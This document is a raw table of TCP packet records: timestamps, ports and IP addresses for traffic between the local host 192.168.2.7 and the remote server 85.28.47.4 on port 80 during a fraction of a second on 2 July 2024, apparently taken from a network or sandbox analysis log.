Jul 2, 2024 12:20:58.393058062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393069029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393094063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393110991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393130064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393141031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393151045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393163919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393163919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393182993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393209934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393354893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393366098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393393993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393410921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393495083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393503904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393520117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393531084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393541098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393552065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393565893 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393594027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.393966913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393976927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.393987894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394001961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394047976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394061089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394071102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394081116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394095898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394121885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394185066 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394195080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394205093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394212961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.394222975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394237995 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.394262075 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467061996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467087984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467099905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467109919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467122078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467178106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467187881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467195988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467200041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467210054 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467220068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467230082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467241049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467257023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467282057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467479944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467489958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467499971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467509985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467515945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467519999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467530966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467530012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467540979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467551947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.467561960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.467593908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.468105078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.468151093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472659111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472709894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472774029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472784042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472789049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472800016 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472810030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472820044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472826958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472860098 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472866058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472877026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472887039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472898960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472902060 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472909927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472919941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472920895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472929955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472940922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.472946882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.472978115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473090887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473100901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473109961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473119974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473125935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473130941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473146915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473172903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473196983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473206997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473232985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473241091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473277092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473375082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473385096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473395109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473408937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473409891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473421097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473429918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473434925 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473440886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473452091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473463058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473464012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473473072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473483086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473491907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473505020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473526001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473645926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473656893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473666906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.473680973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.473697901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.480319977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480330944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480340958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480376005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.480396986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.480537891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480547905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480559111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480567932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480575085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.480578899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480588913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.480595112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.480623960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481107950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481118917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481128931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481138945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481143951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481149912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481172085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481197119 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481203079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481213093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481223106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481232882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481237888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481247902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481268883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481287003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481364965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481375933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481396914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481403112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481414080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481434107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481453896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481491089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481509924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481523991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481534958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481542110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481554985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481571913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481677055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481688023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481698990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481709957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481715918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481722116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481728077 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481755018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481905937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481915951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481926918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481936932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481941938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481947899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.481971025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.481997013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482146025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482156992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482166052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482188940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482213020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482319117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482331991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482342005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482352018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482357025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482378006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482398033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482410908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482445002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482532978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482543945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482553959 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482564926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482572079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482574940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482584953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482594967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482599020 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482605934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482614040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482630014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482656002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482775927 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482785940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482796907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.482805967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482825041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.482981920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.483022928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556006908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556035995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556046009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556072950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556107998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556164026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556180954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556191921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556197882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556201935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556231976 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556272030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556282997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556293011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556303978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556305885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556314945 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556334019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556360006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556402922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556436062 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556466103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556477070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556497097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556509972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556519985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556523085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556538105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556555986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556576014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556608915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556694984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556704998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556715965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556724072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556726933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.556741953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.556763887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561742067 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561784983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561788082 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561800003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561820030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561850071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561863899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561875105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561894894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561913013 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.561964035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561980009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.561990023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562000990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562005043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562010050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562019110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562047005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562200069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562211037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562222004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562232018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562237024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562252998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562278986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562283039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562294006 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562304974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562311888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562329054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562345982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562422991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562433958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562444925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562454939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562460899 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562473059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562489986 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562530041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562567949 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562793970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562836885 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562879086 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562889099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562899113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562908888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562916040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562920094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562932014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.562936068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562962055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.562994003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563004971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563024044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.563039064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563054085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.563071012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.563083887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563095093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563113928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.563114882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.563133955 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.563146114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569057941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569117069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569124937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569127083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569153070 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569169044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569201946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569216013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569230080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569250107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.569252014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.569263935 CEST	80	49699	85.28.47.4	192.168.2.7
